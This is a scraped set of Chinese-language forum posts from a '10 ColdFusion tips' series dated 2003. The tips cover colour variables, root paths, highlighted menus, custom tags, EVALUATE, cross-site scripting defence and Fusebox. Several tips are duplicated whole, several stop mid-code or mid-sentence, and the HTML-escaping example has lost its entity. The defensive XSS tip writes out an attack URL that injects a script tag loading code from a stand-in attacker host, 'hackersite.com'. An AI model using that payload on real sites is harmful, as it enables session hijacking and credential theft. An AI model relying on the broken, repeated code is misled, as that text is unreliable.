網頁中的選單應該要提供某種視覺上的暗示,讓使用者能夠更容易地得知目前所在的區域。許多網站建構者採用的作法是將目前所在區域的選單項目以不同的顏色顯示,好讓該項目和選單裡面的其他項目在視覺上有所區別。傳統上的作法是為每個區域建立多個不同的選單檔案,然後在不同區域引入各自的選單。然而在 ColdFusion 裡面,我們可以在不同區域引入同一個選單檔案,但是這個方式也無法解決如何強調顯示目前區域的問題。
在 ColdFusion 裡面,我們可以讓選單自動強調顯示目前使用者所在的區域,要做到這項功能只需要在選單檔案裡面多加一些程式碼就可以了。舉例來說,假設我們有一個包含了選單項目的表格,在下面的範例程式裡面,你可以發現到我們使用了前面提到的 Application.Colors variable 以及 RootDir 這兩個變數:
<CFOUTPUT>
<TABLE BGCOLOR="#APPLICATION.Colors.Yellow#" WIDTH="100" CELLSPACING="0" CELLPADDING="3" BORDER="0">
<TR>
<TD ALIGN="Center">
<A HREF="#APPLICATION.RootDir#/news/companynews.cfm">
<FONT FACE="Arial" COLOR="#APPLICA
作者: Kyle 2/16/03
內容:
善用應用程式變數
應用程式變數(Application variables)對於同一個應用程式中的所有頁面來說都是可隨時叫用的。通常這類變數都是設定在 application.cfm 這個檔案裡面,但是它們也可以在其他單一頁面裡面設定。應用程式變數對於儲存整個應用程式共用的資料來說非常有用,例如資料來源名稱,絕對路徑或者顏色設定資料等等。
為了展示一下應用程式變數的用處,在這裡我打算說明如何以應用程式變數來儲存顏色設定資料。雖然 4.0 以及更新版本等支援 CSS 的瀏覽器佔有率日漸提高,還是有很多使用者仍然在繼續使用舊版瀏覽器。如果你仍在使用 <FONT> 標籤來設定文字樣式,並且使用 color 屬性來設定表格與文字的顏色,那麼你應該心知肚明當日後要修改網站的顏色設定的時候,你的惡夢就要開始了!使用 ColdFusion,我們可以用另一種更輕鬆有效的方式來設定頁面的各種顏色:那就是把色彩設定儲存在應用程式變數裡面。一旦你把顏色設定透過應用程式變數儲存起來,你就可以透過變數名稱來參照到這些顏色,而非直接將色彩名稱(或者 16 進位色碼)直接寫在程式裡面。進一步來看,你只需要修改這些應用程式變數的值,那麼所有相關的頁面中的顏色就會一起改變。
在你的 application.cfm 檔案裡面,你可以設定一個應用程式變數讓它的值包含一個空白結構(結構是一個鍵-值配對或者一個二維陣列):
<CFSCRIPT>
application.colors=structNew();
</CFSCRIPT>
這樣一來你便有了一個名為 Application.Colors 的應用程式變數了,該變數的值是一個空白結構。接下來你便可以將需要用的顏色名稱儲存在這個空白結構裡面。下面是一個例子:
<CFSCRIPT>
application.colors=structNew();
application.colors.body='FFFFFF';
application.colors.text='708090';
application.colors.link='C0F171';
application.colors.blue='131E63';
application.colors.red='C01531';
application.colors.yellow='FFFFE6';
</CFSCRIPT>
現在在你的頁面裡頭你便不再需要將顏色名稱直接寫進去,只要直接參照 Application.Colors 裡面的變數就可以了。舉例來說,在 <BODY> 標籤裡面你可以使用下面這樣的寫法:
<CFOUTPUT>
<BODY
BGCOLOR="#application.colors.body#"
TEXT="#application.colors.text#"
LINK="#application.colors.link#">
</CFOUTPUT>
你可以把這個技巧應用在表格,框線或者其他任何使用到顏色屬性的地方。如此一來,你便可以很輕鬆地隨時調整網站的顏色設定,因為所有的顏色都儲存在同一個地方,修改起來非常容易。
記得適時鎖定
在讀取或者設定應用程式(application),使用者狀態(session)或者伺服器這些範圍的變數的時候,很重要的一點是在適當的變數範圍內使用 CFLOCK 標籤進行變數的鎖定。CFLOCK 標籤可以確保共用資料的完整與一致性,在高流量的伺服器上面,這項工作尤顯重要。如果你需要更多這方面的資料,請閱讀你的使用說明文件,或者參考 ColdFusion 開發者期刊(ColdFusion Developer's Journal)網站上面的這篇文章。
-------------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-5 設定你的根目錄
作者: Kyle 2/16/03
內容:
設定你的根目錄
網站開發人員向來都一直必須在相對路徑 vs. 絕對路徑這項議題上面打轉。在 ColdFusion 環境裡面,你可以在多個不同頁面使用 CFINCLUDE 標籤,不過既然我們對於在哪個目錄裡面將會用到 CFINCLUDE 語法,因此在 CFINCLUDE 標籤裡面使用相對路徑經常會造成很多麻煩。
舉例來說,某個被包含的選單裡面可能有一個指向網站首頁的連結,像下面這樣:
<A HREF="index.cfm">Home Page</A>
在網站根目錄下面的任何檔案引入這個包含檔都不會有問題。但是如果你在某個次目錄下的一個檔案裡面引入這個選單檔案,那麼上面這個超鏈結便會失效,或者至少會連結到錯誤的頁面去。這時候你實際上會希望這個超鏈結是寫成這樣:
<A HREF="../index.cfm">Home Page</A>
有兩種方式可以克服這個問題。一個是在超鏈結裡面直接使用絕對路徑。要使用這個作法,你必須在 ColdFusion 裡面預先設定好一個路徑對應關係(mapping)。你可以在 ColdFusion 管理員(ColdFusion Administrator)的「路徑對應(Mappings)」區塊裡面建立這些對應關係。一旦你建立好了路徑對應關係,你便可以把指向網站首頁的超鏈結寫成下面這個樣子:
<A HREF="/mymapping/index.cfm>Home Page</A>
如果你使用了絕對路徑,那麼不論你在那個位置引入這個檔案,該檔案裡面的超鏈結永遠都會保持有效。我通常使用一個叫做 APPLICATION.RootDir 的應用程式變數來儲存這項路徑對應設定,並且在超鏈結裡面直接套用這個變數。使用這個作法,如果我真有必要修改目錄結構或者路徑對應的名稱,那麼我只需要修改這麼一個變數的值就可以了。
<CFSET APPLICATION.RootDir = "/MyMapping">
如果你套用這個變數,你的超鏈結看起來會像下面這樣:
<A HREF="#APPLICATION.RootDir#/index.cfm">
在每個頁面的開端建立這樣的變數,那麼你就可以在該頁面的其他部分套用這個變數的值。包含檔案運作起來就像該檔案的內容實際上真的被寫入原有頁面一樣,因此如果檔案 A 引入了檔案 B,那麼在檔案 B 裡面我們便可以直接參照到檔案 A 裡面的變數值:
<!--- 在每個頁面設定 RootDir 變數值 --->
<CFSET RootDir ="../">
<!--- 在被引入的頁面中參照 RootDir 變數的值(只要確定這個變數確實有被定義即可,否則在引入檔案的時候會出現錯誤訊息) --->
<A HREF="#RootDir#news/newspage.cfm"></code>
-------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-6 引入一個能夠動態改變強調區域的選單
作者: Kyle 2/16/03
內容:
引入一個能夠動態改變強調區域的選單
有很多充分的理由讓 CFINCLUDE 成為 ColdFusion 伺服器裡面最好用的標籤。這個標籤讓我們能夠在某個頁面裡頭引入其他檔案的內容,其運作方式就如同被引入的檔案內容是直接寫在原有檔案裡面一樣。你可以使用 CFINCLUDE 來引入頁面的頁首,頁尾,版面設定,選單或者其他各種內容。
網頁中的選單應該要提供某種視覺上的暗示,讓使用者能夠更容易地得知目前所在的區域。許多網站建構者採用的作法是將目前所在區域的選單項目以不同的顏色顯示,好讓該項目和選單裡面的其他項目在視覺上有所區別。傳統上的作法是為每個區域建立多個不同的選單檔案,然後在不同區域引入各自的選單。然而在 ColdFusion 裡面,我們可以在不同區域引入同一個選單檔案,但是這個方式也無法解決如何強調顯示目前區域的問題。
在 ColdFusion 裡面,我們可以讓選單自動強調顯示目前使用者所在的區域,要做到這項功能只需要在選單檔案裡面多加一些程式碼就可以了。舉例來說,假設我們有一個包含了選單項目的表格,在下面的範例程式裡面,你可以發現到我們使用了前面提到的 Application.Colors variable 以及 RootDir 這兩個變數:
<CFOUTPUT>
<TABLE BGCOLOR="#APPLICATION.Colors.Yellow#" WIDTH="100" CELLSPACING="0" CELLPADDING="3" BORDER="0">
<TR>
<TD ALIGN="Center">
<A HREF="#APPLICATION.RootDir#/news/companynews.cfm">
<FONT FACE="Arial" COLOR="#APPLICA
10 個 ColdFusion 的小技巧-7 使用自訂標籤來設定版面配置
作者: Kyle 2/16/03
內容:
使用自訂標籤來設定版面配置
ColdFusion 的自訂標籤功能讓你能夠將任何你想像得到的功能封裝成一個簡單易用的包裝。雖然這項功能早在幾年前便是 ColdFusion 伺服器的功能之一,但是從 4.0 版本開始,你可以在自訂標籤裡面使用啟始與結尾標籤。為了說明如何使用自訂啟始與結尾標籤,在下面這個範例裡面我們將網頁內容包裝在一個自訂標籤裡面,並且提供版面配置與格式化的相關功能。
想想看,如果在某個普通頁面裡頭可以使用下面這樣的寫法,那不是很棒嗎!
<CF_FormatPage Title="My Page Title">
這裡是你的頁面主要區域的內容。請注意我們在這裡並沒有加入表格或者 <BODY> 標籤之類的東西。
</CF_FormatPage>
整個頁面原始碼就是這樣了。其他所有版面配置與格式化資訊都被隱藏在主要內容外面的自訂標籤裡面。為了能夠在你的自訂標籤裡面使用啟始與結尾標籤,你必須先瞭解自訂標籤的兩種使用狀態。你可以透過 #ThisTag.ExecutionMode# 這個變數的值來判斷目前被使用的是啟始或者是結尾標籤。基本上你的自訂標籤內容會被執行兩次:一次是遇到啟始標籤的時候,另一次便是遇到結尾標籤的時候。為了不讓這篇文章顯得過於冗長,在這裡我們並不加入太多格式化的相關程式碼,但是下面這個基本的 CF_FormatPage 自訂標籤應該足夠讓你瞭解我們剛才提到的觀念:
<!--- 以下是 CF_FormatPage 自訂標籤檔案內容 --->
<!--- 如果執行模式是「Start」,表示我們遇到的是啟始標籤,因此我們顯示頁面格式的前半段 --->
<CFIF ThisTag.ExecutionMode IS "Start">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE><CFOUTPUT>#ATTRIBUTES.Title#</CFOUTPUT></TITLE>
</HEAD>
<BODY>
上面這段內容可以包含頁面標題圖片,選單或者其他內容。
<!--- 被包含在這個標籤裡面的其他內容則會接著在這裡顯示 --->
<!--- 如果執行模式是「End」,表示我們遇到了結尾標籤,因此我們顯示頁面格式的後半段 --->
<CFELSEIF ThisTag.ExecutionMode IS "End">
<BR><BR>這裡是頁面的頁尾區域,在這裡你可能會放入內容連結或者版權宣告文字。
</BODY>
</HTML>
</CFIF>
你能做的東西當然比這個簡單例子多得更多,例如加入動態選單,針對每個頁面加入不同的標題圖片等等。或者換一種作法,你可以針對不同狀況建立不同的自訂標籤來把版面配置封裝起來,只要能夠符合你自己的特定需求就行了。
-------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-8 使用解析(evaluate)函數增進程式碼的可重用性
作者: Kyle 2/16/03
內容:
使用解析(evaluate)函數增進程式碼的可重用性
在偶然間遇到某種非用到它不可的狀況之前,你可能都不會發現原來 ColdFusion 有 EVALUATE 這個函數可用。一旦你發現了這個功能,你便可以大大地擴展你原有程式的可重覆使用性(reusability)。我們很快就會告訴你為什麼。
EVALUATE 函數會把所有接收到的參數由左至右一一加以解析,最後在解析完畢最後一個參數的時候,傳回所有的解析結果。從另一個角度來看,EVALUATE 功能可以讓你把一個 ColdFusion 頁面程式碼當成某種動態命名的變數來解析,就好像它是一個靜態命名的變數一樣。這聽起來有點讓人摸不著頭緒,因此我們會提供一個範例來說明。不過在這裡請稍微發揮一些耐心看下去,因為這個範例需要多一些步驟才能完整說明。
假設你有一個頁面可以顯示出一長串使用者名稱列表,而且每個使用者名稱都是一個可點選的超鏈結,點選以後便可以進入另一個頁面編輯該使用者的個人資料。你使用一個資料庫查詢語句來取得並且顯示這份使用者名單,並且每個使用者名稱後面都跟著一個超鏈結可以用來點選進入資料編輯頁面。你將 UserID 這個 URL 變數接到每個超鏈結後面並且跟著傳入資料編輯頁面,以便辨認出要編輯的是哪一位使用者的資料。這個超鏈結看起來就像下面這樣:
<CFOUTPUT QUERY="getuserquery">
<A HREF="edit.cfm?userid=#getuserquery.userid#">
#getuserquery.username#
</A><BR>
</CFOUTPUT>
上面這段程式碼運作起來並不會有任何問題,而且你的確可以得到一個使用者列表,每個使用者名稱都可以點選,並且進入資料編輯頁面以編輯該使用者的個人資料。但是如果你需要增加一個表單用來編輯部門的資料呢?你可能會開始製作另一個部門資料管理頁面,不過很快地你便會發現你還得製作一個人力資源部門公告事項用的編輯頁面,一個新人招募資訊用的編輯頁面,或者更多類似的東西。我們可以想個辦法,只要製作一個管理功能頁面便可以編輯所有這些不同的資料。
如果你把某個變數(例如 AdminType=User)一併傳入管理功能頁面,那麼該頁面便可以判斷出我們要使用的是哪一項管理功能。你會需要使用 CFIF 標籤來判斷管理功能的類型,並且針對不同類型設定一些必須用到的變數。舉例來說,UserID 這個變數的值可以用來在使用者資料管理頁面中判斷要編輯的使用者身份,程式必須從資料庫中的 Users 資料表取出該使用者的資料。現在你要把使用者姓名顯示在我們輸出的使用者名單上面,因此你的 CFIF 區段看起來可能像下面這樣:
CFIF URL.AdminType IS "User">
<CFSET TableName = "Users">
<CFSET RecordIdentifier = "UserID">
<CFSET FieldToDisplay = "UserName">
</CFIF>
<CFQUERY NAME="adminlist" DATASOURCE="mydsn">
SELECT #RecordIdentifier#,#FieldToDisplay#
FROM #TableName#
</CFQUERY>
我們剛才建立的程式碼看起來沒什麼問題,但是我們要的使用者名稱超鏈結卻無法正常運作。我們要在 URL 後面接上每個從資料庫傳回來的使用者 UserID,程式裡面的 RecordIdentifier 變數讓 UserID 成為資料表的主鍵(Primary Key)。但是如果我們把 #RecordIdentifier# 這個變數接在每個 URL 後面,那麼上面的程式會把「UserID」這個字串當成變數的值,並且接在 URL 的後面,而不是實際上從資料庫中傳回的數字型態的 UserID 欄位的值。同樣的問題也會發生在使用者名稱上面。如果我們在輸出結果裡面套用 #FieldToDisplay# 這個變數,那麼上面的程式會把「UserName」這個字串當成變數值顯示在頁面上(而不是顯示從資料庫中取出的使用者名稱),這顯然不是我們想要的結果。
要讓我們的程式正常運作,我們必須使用 EVALUATE 這個函數。下面這段程式便可正常運作:
<CFOUTPUT QUERY="adminlist">
<A HREF="edit.cfm?#recordidentifier#=#Evaluate("adminlist.#recordidentifier#")#">
#Evaluate("adminlist.#FieldToDisplay#")#
</A><BR>
</CFOUTPUT>
EVALUATE 函數把接收到的 adminlist.#recordidentifier# 參數加以解析,並且傳回 adminlist.userid 作為結果。對於 ColdFusion 指令解析引擎來說,當這個頁面被執行的時候,EVALUATE 函數會讓我們的超鏈結看起來就像下面這樣:
<CFOUTPUT QUERY="adminlist">
<A HREF="edit.cfm?userid=#adminlist.UserID#">
#adminlist.UserName#
</A><BR>
</CFOUTPUT>
最後當程式執行結果傳送到瀏覽器端的時候,我們輸出的超鏈結便會像下面這樣:
<A HREF="edit.cfm?userid=4">Joe Smith</A><BR>
<A HREF="edit.cfm?userid=12">Todd Parker</A><BR>
如同上面所顯示的結果,每當資料庫查詢語句傳回一個 UserID,我們的使用者名單
作者: Kyle 2/16/03
內容:
使用自訂標籤來設定版面配置
ColdFusion 的自訂標籤功能讓你能夠將任何你想像得到的功能封裝成一個簡單易用的包裝。雖然這項功能早在幾年前便是 ColdFusion 伺服器的功能之一,但是從 4.0 版本開始,你可以在自訂標籤裡面使用啟始與結尾標籤。為了說明如何使用自訂啟始與結尾標籤,在下面這個範例裡面我們將網頁內容包裝在一個自訂標籤裡面,並且提供版面配置與格式化的相關功能。
想想看,如果在某個普通頁面裡頭可以使用下面這樣的寫法,那不是很棒嗎!
<CF_FormatPage Title="My Page Title">
這裡是你的頁面主要區域的內容。請注意我們在這裡並沒有加入表格或者 <BODY> 標籤之類的東西。
</CF_FormatPage>
整個頁面原始碼就是這樣了。其他所有版面配置與格式化資訊都被隱藏在主要內容外面的自訂標籤裡面。為了能夠在你的自訂標籤裡面使用啟始與結尾標籤,你必須先瞭解自訂標籤的兩種使用狀態。你可以透過 #ThisTag.ExecutionMode# 這個變數的值來判斷目前被使用的是啟始或者是結尾標籤。基本上你的自訂標籤內容會被執行兩次:一次是遇到啟始標籤的時候,另一次便是遇到結尾標籤的時候。為了不讓這篇文章顯得過於冗長,在這裡我們並不加入太多格式化的相關程式碼,但是下面這個基本的 CF_FormatPage 自訂標籤應該足夠讓你瞭解我們剛才提到的觀念:
<!--- 以下是 CF_FormatPage 自訂標籤檔案內容 --->
<!--- 如果執行模式是「Start」,表示我們遇到的是啟始標籤,因此我們顯示頁面格式的前半段 --->
<CFIF ThisTag.ExecutionMode IS "Start">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE><CFOUTPUT>#ATTRIBUTES.Title#</CFOUTPUT></TITLE>
</HEAD>
<BODY>
上面這段內容可以包含頁面標題圖片,選單或者其他內容。
<!--- 被包含在這個標籤裡面的其他內容則會接著在這裡顯示 --->
<!--- 如果執行模式是「End」,表示我們遇到了結尾標籤,因此我們顯示頁面格式的後半段 --->
<CFELSEIF ThisTag.ExecutionMode IS "End">
<BR><BR>這裡是頁面的頁尾區域,在這裡你可能會放入內容連結或者版權宣告文字。
</BODY>
</HTML>
</CFIF>
你能做的東西當然比這個簡單例子多得更多,例如加入動態選單,針對每個頁面加入不同的標題圖片等等。或者換一種作法,你可以針對不同狀況建立不同的自訂標籤來把版面配置封裝起來,只要能夠符合你自己的特定需求就行了。
-------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-8 使用解析(evaluate)函數增進程式碼的可重用性
作者: Kyle 2/16/03
內容:
使用解析(evaluate)函數增進程式碼的可重用性
在偶然間遇到某種非用到它不可的狀況之前,你可能都不會發現原來 ColdFusion 有 EVALUATE 這個函數可用。一旦你發現了這個功能,你便可以大大地擴展你原有程式的可重覆使用性(reusability)。我們很快就會告訴你為什麼。
EVALUATE 函數會把所有接收到的參數由左至右一一加以解析,最後在解析完畢最後一個參數的時候,傳回所有的解析結果。從另一個角度來看,EVALUATE 功能可以讓你把一個 ColdFusion 頁面程式碼當成某種動態命名的變數來解析,就好像它是一個靜態命名的變數一樣。這聽起來有點讓人摸不著頭緒,因此我們會提供一個範例來說明。不過在這裡請稍微發揮一些耐心看下去,因為這個範例需要多一些步驟才能完整說明。
假設你有一個頁面可以顯示出一長串使用者名稱列表,而且每個使用者名稱都是一個可點選的超鏈結,點選以後便可以進入另一個頁面編輯該使用者的個人資料。你使用一個資料庫查詢語句來取得並且顯示這份使用者名單,並且每個使用者名稱後面都跟著一個超鏈結可以用來點選進入資料編輯頁面。你將 UserID 這個 URL 變數接到每個超鏈結後面並且跟著傳入資料編輯頁面,以便辨認出要編輯的是哪一位使用者的資料。這個超鏈結看起來就像下面這樣:
<CFOUTPUT QUERY="getuserquery">
<A HREF="edit.cfm?userid=#getuserquery.userid#">
#getuserquery.username#
</A><BR>
</CFOUTPUT>
上面這段程式碼運作起來並不會有任何問題,而且你的確可以得到一個使用者列表,每個使用者名稱都可以點選,並且進入資料編輯頁面以編輯該使用者的個人資料。但是如果你需要增加一個表單用來編輯部門的資料呢?你可能會開始製作另一個部門資料管理頁面,不過很快地你便會發現你還得製作一個人力資源部門公告事項用的編輯頁面,一個新人招募資訊用的編輯頁面,或者更多類似的東西。我們可以想個辦法,只要製作一個管理功能頁面便可以編輯所有這些不同的資料。
如果你把某個變數(例如 AdminType=User)一併傳入管理功能頁面,那麼該頁面便可以判斷出我們要使用的是哪一項管理功能。你會需要使用 CFIF 標籤來判斷管理功能的類型,並且針對不同類型設定一些必須用到的變數。舉例來說,UserID 這個變數的值可以用來在使用者資料管理頁面中判斷要編輯的使用者身份,程式必須從資料庫中的 Users 資料表取出該使用者的資料。現在你要把使用者姓名顯示在我們輸出的使用者名單上面,因此你的 CFIF 區段看起來可能像下面這樣:
CFIF URL.AdminType IS "User">
<CFSET TableName = "Users">
<CFSET RecordIdentifier = "UserID">
<CFSET FieldToDisplay = "UserName">
</CFIF>
<CFQUERY NAME="adminlist" DATASOURCE="mydsn">
SELECT #RecordIdentifier#,#FieldToDisplay#
FROM #TableName#
</CFQUERY>
我們剛才建立的程式碼看起來沒什麼問題,但是我們要的使用者名稱超鏈結卻無法正常運作。我們要在 URL 後面接上每個從資料庫傳回來的使用者 UserID,程式裡面的 RecordIdentifier 變數讓 UserID 成為資料表的主鍵(Primary Key)。但是如果我們把 #RecordIdentifier# 這個變數接在每個 URL 後面,那麼上面的程式會把「UserID」這個字串當成變數的值,並且接在 URL 的後面,而不是實際上從資料庫中傳回的數字型態的 UserID 欄位的值。同樣的問題也會發生在使用者名稱上面。如果我們在輸出結果裡面套用 #FieldToDisplay# 這個變數,那麼上面的程式會把「UserName」這個字串當成變數值顯示在頁面上(而不是顯示從資料庫中取出的使用者名稱),這顯然不是我們想要的結果。
要讓我們的程式正常運作,我們必須使用 EVALUATE 這個函數。下面這段程式便可正常運作:
<CFOUTPUT QUERY="adminlist">
<A HREF="edit.cfm?#recordidentifier#=#Evaluate("adminlist.#recordidentifier#")#">
#Evaluate("adminlist.#FieldToDisplay#")#
</A><BR>
</CFOUTPUT>
EVALUATE 函數把接收到的 adminlist.#recordidentifier# 參數加以解析,並且傳回 adminlist.userid 作為結果。對於 ColdFusion 指令解析引擎來說,當這個頁面被執行的時候,EVALUATE 函數會讓我們的超鏈結看起來就像下面這樣:
<CFOUTPUT QUERY="adminlist">
<A HREF="edit.cfm?userid=#adminlist.UserID#">
#adminlist.UserName#
</A><BR>
</CFOUTPUT>
最後當程式執行結果傳送到瀏覽器端的時候,我們輸出的超鏈結便會像下面這樣:
<A HREF="edit.cfm?userid=4">Joe Smith</A><BR>
<A HREF="edit.cfm?userid=12">Todd Parker</A><BR>
如同上面所顯示的結果,每當資料庫查詢語句傳回一個 UserID,我們的使用者名單
10 個 ColdFusion 的小技巧-9 保護頁面不受跨網站(cross-site)程式攻擊
作者: Kyle 2/16/03
內容:
保護頁面不受跨網站(cross-site)程式攻擊
跨網站程式攻擊是網站管理人員經常必須面對的安全性問題之一。像是 ASP,CFML 或者 PHP 這類的應用程式伺服器,由於它們與生俱來的動態功能特性,使得它們特別容易受到這一類的攻擊。很多時候你的程式都會把某些資訊從某個頁面傳送到另一個頁面,將資料儲存到資料庫中,或者將表單或 URL 參數接收到的變數值顯示在頁面上。雖然能夠在不同頁面之間傳遞資料看起來是一個優點,但是如果你不夠小心的話,這項特性也會同時帶來嚴重的安全性問題。舉例來說,請看看下面這個超鏈結以及相對應的目標頁面顯示的結果:
<!--- 下面是你某個頁面中的超鏈結 --->
<A HREF="nextpage.cfm?username=Brian">請按這裡</A>
<!--- 下面是 nextpage.cfm 所顯示的內容 --->
<CFOUTPUT>
歡迎來到下一頁,#URL.UserName#。
</CFOUTPUT>
看起來夠簡單了吧?上面這個超連結純粹把使用者名稱從一個頁面傳遞到另一個頁面去(nextpage.cfm),如果你不夠小心的話,這正是問題可能發生的地方。跨網站程式(cross-site scripting)基本上便是欺騙你的 Web 伺服器,讓它在未預期的的情況下執行其他網站上面的程式,JavaScript,Java applet 或者 ActiveX 控制項。
如果你觀察上面這個例子的目標頁面的 URL,它看起來會是下面這樣:
http://www.mysite.com/nextpage.cfm?username=Brian
某位不懷好意的使用者可以自己輸入一個 URL,裡面包含一個連向另一部伺服器上面的程式的連結,就像下面這樣:
http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js">
當 ColdFusion 在下一個頁面輸出上面的 URL 所傳過來的變數的時候,輸出結果看起來變成下面這樣:
歡迎來到下一頁,<script src="http://www.hackersite.com/nastyscript.js">。
這個變數會讓你那無辜的頁面在你未預期的狀況下執行對方指定的 JavaScript 程式碼。利用類似的方式,對方也可以在 URL 裡面指定惡意的 ActiveX 控制項或者 JavaApplet。當然,在這個例子裡面,使用者僅是在瀏覽器上面執行他們自己指定的程式而已,但如果這些惡意程式碼被你自己的程式不小心儲存起來並且之後又輸出到其他使用者的畫面上(例如搗亂者將某些 JavaScript 程式碼輸入在你的討論區發表文章表單裡面,然後你的程式在不知情的狀況下把這些程式碼當成發言內容的一部份存入資料庫中,那麼其他使用者觀看到這篇文章的時候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控制項便會在其他使用者的瀏覽器上面執行了),這時候那些程式就可能足以將其他使用者的帳號,密碼或者其他敏感資料暗中傳送到某個地方去。這項安全性問題並非 ColdFusion 才會發生的狀況,任何應用程式伺服器,只要它能夠接收從 URL 或者表單傳送過來的資料並且顯示在使用者畫面上,都有可能受到這類攻擊。
幸運的是,要避免這種狀況發生並不困難。你要做的工作是過濾來自 URL 或者表單傳送過來的資料,並且將一些特殊的危險字元,例如 < 或者 >(大於和小於符號),把他們替換成相對應的 ASCII 字元碼形式(例如將 < 替換成 <)就可以了。事實上 Allaire 公司提供了一個 CF_InputFilter 自訂標籤,你可以將它用在你的 application.cfm 檔案裡面,它可以替你處理相關的特殊字元過濾工作。如果你需要更完整的關於這項議題的資料,請參考「Allaire 安全問題布告欄」網站上面的這篇文章(ASB00-05)。
--------------------------------------------------
主題: 10 個 ColdFusion 的小技巧-10 使用 Fusebox
作者: Kyle 2/16/03
內容:
使用 Fusebox
一旦你已經了解 ColdFusion 伺服器的運作方式,並且覺得和 CFML 語言相處愉快,那麼建議你試試 Fusebox,它是在 ColdFusion 平台上面最受歡迎的標準化開發技術。
Fusebox 將一個應用程式分解成最基本的幾個元件,每個元件都被封裝成為一個獨立的「保險絲(fuse)」。你可以在應用程式裡面視需要插入不同的保險絲元件,並且延伸擴充應用程式的功能。這種物件導向的開發方法充分利用了 ColdFusion 自訂標籤的模組化天性,並且將這項觀念應用到整個應用程式上。
Fusebox 充分利用程式碼的可重用性以及模組性,這兩項都是任何應用程式開發工具所奉承的圭臬。Fusebox 的運作模式不但讓你能夠將同一個保險絲(亦即程式模組)插入到不同的應用程式,它還可以讓你將其他人開發的模組輕易地套用在你自己的應用程式上面。
Fusebox 的運作模式是以一個「主應用程式(Home application)」作為中心,它代表了你的整個應用程式。這項主應用程式則是由許多不同的「周邊迴路應用程式(Circuit applications)」所共同組成的,每一個周邊迴路應用程式都可以從主應用程式這邊呼叫。你可以透過 URL 或者表單來在主應用程式與周邊迴路應用程式之間傳遞一個稱為 FuseAction 的變數,這個變數可用來決定你要執行的動作。各種需要用到的檔案則都以不同的類型來加以區分,因此應用程式中的各個資料庫查詢語句,動作指令以及顯示畫面等等都是彼此相互獨立的。這項獨立性讓你能夠掌握最高的可重用性以及易用性。
使用 Fusebox 不僅對於 ColdFusion 應用程式開發過程有所幫助,它還可以幫助你容易跨入 Allaire 公司 ColdFusion 產品線的下一個產品:Allaire Spectra。Spectra 使用的物件導向架構在許多方面都和 Fusebox 所使用的架構非常類似。這兩項產品之間的主要差異在於 Spectra 內建了許多預先設計好的自訂標籤與函數,可以直接用來處理各式各樣開發工作,例如內容管理,個人化以及電子商務相關功能等等。
作者: Kyle 2/16/03
內容:
保護頁面不受跨網站(cross-site)程式攻擊
跨網站程式攻擊是網站管理人員經常必須面對的安全性問題之一。像是 ASP,CFML 或者 PHP 這類的應用程式伺服器,由於它們與生俱來的動態功能特性,使得它們特別容易受到這一類的攻擊。很多時候你的程式都會把某些資訊從某個頁面傳送到另一個頁面,將資料儲存到資料庫中,或者將表單或 URL 參數接收到的變數值顯示在頁面上。雖然能夠在不同頁面之間傳遞資料看起來是一個優點,但是如果你不夠小心的話,這項特性也會同時帶來嚴重的安全性問題。舉例來說,請看看下面這個超鏈結以及相對應的目標頁面顯示的結果:
<!--- 下面是你某個頁面中的超鏈結 --->
<A HREF="nextpage.cfm?username=Brian">請按這裡</A>
<!--- 下面是 nextpage.cfm 所顯示的內容 --->
<CFOUTPUT>
歡迎來到下一頁,#URL.UserName#。
</CFOUTPUT>
看起來夠簡單了吧?上面這個超連結純粹把使用者名稱從一個頁面傳遞到另一個頁面去(nextpage.cfm),如果你不夠小心的話,這正是問題可能發生的地方。跨網站程式(cross-site scripting)基本上便是欺騙你的 Web 伺服器,讓它在未預期的的情況下執行其他網站上面的程式,JavaScript,Java applet 或者 ActiveX 控制項。
如果你觀察上面這個例子的目標頁面的 URL,它看起來會是下面這樣:
http://www.mysite.com/nextpage.cfm?username=Brian
某位不懷好意的使用者可以自己輸入一個 URL,裡面包含一個連向另一部伺服器上面的程式的連結,就像下面這樣:
http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js">
當 ColdFusion 在下一個頁面輸出上面的 URL 所傳過來的變數的時候,輸出結果看起來變成下面這樣:
歡迎來到下一頁,<script src="http://www.hackersite.com/nastyscript.js">。
這個變數會讓你那無辜的頁面在你未預期的狀況下執行對方指定的 JavaScript 程式碼。利用類似的方式,對方也可以在 URL 裡面指定惡意的 ActiveX 控制項或者 JavaApplet。當然,在這個例子裡面,使用者僅是在瀏覽器上面執行他們自己指定的程式而已,但如果這些惡意程式碼被你自己的程式不小心儲存起來並且之後又輸出到其他使用者的畫面上(例如搗亂者將某些 JavaScript 程式碼輸入在你的討論區發表文章表單裡面,然後你的程式在不知情的狀況下把這些程式碼當成發言內容的一部份存入資料庫中,那麼其他使用者觀看到這篇文章的時候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控制項便會在其他使用者的瀏覽器上面執行了),這時候那些程式就可能足以將其他使用者的帳號,密碼或者其他敏感資料暗中傳送到某個地方去。這項安全性問題並非 ColdFusion 才會發生的狀況,任何應用程式伺服器,只要它能夠接收從 URL 或者表單傳送過來的資料並且顯示在使用者畫面上,都有可能受到這類攻擊。
幸運的是,要避免這種狀況發生並不困難。你要做的工作是過濾來自 URL 或者表單傳送過來的資料,並且將一些特殊的危險字元,例如 < 或者 >(大於和小於符號),把他們替換成相對應的 ASCII 字元碼形式(例如將 < 替換成 <)就可以了。事實上 Allaire 公司提供了一個 CF_InputFilter 自訂標籤,你可以將它用在你的 application.cfm 檔案裡面,它可以替你處理相關的特殊字元過濾工作。如果你需要更完整的關於這項議題的資料,請參考「Allaire 安全問題布告欄」網站上面的這篇文章(ASB00-05)。
--------------------------------------------------
主題: 10 個 ColdFusion 的小技巧-10 使用 Fusebox
作者: Kyle 2/16/03
內容:
使用 Fusebox
一旦你已經了解 ColdFusion 伺服器的運作方式,並且覺得和 CFML 語言相處愉快,那麼建議你試試 Fusebox,它是在 ColdFusion 平台上面最受歡迎的標準化開發技術。
